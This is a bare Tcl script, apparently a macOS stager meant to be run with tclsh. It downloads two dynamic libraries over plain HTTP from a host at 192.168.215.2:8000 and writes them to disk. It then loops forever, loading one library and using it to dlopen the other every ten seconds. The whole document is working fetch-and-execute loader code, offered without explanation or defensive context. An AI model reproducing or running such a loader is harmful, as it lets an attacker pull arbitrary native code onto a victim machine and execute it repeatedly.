tclsh load

load.tcl

package require http
package require tls

http::register https 443 tls::socket
set url http://192.168.215.2:8000/dlopen.dylib
set token [http::geturl $url -timeout 30000 -binary 1]
set status [http::status $token]
set answer [http::data $token]
http::cleanup $token
http::unregister https


set outputFile [open dlopen.dylib wb]
puts $outputFile $answer
close $outputFile

http::register https 443 tls::socket
set url http://192.168.215.2:8000/helper.dylib
set token [http::geturl $url -timeout 30000 -binary 0]
set status [http::status $token]
set answer [http::data $token]
http::cleanup $token
http::unregister https
puts $status

set outputFile [open helper.dylib wb]
puts $outputFile $answer
close $outputFile
set here [pwd]
set dl ${here}/dlopen.dylib
set yourlib ${here}/helper.dylib
while True {
load $dl
dlopen $yourlib
after 10000
}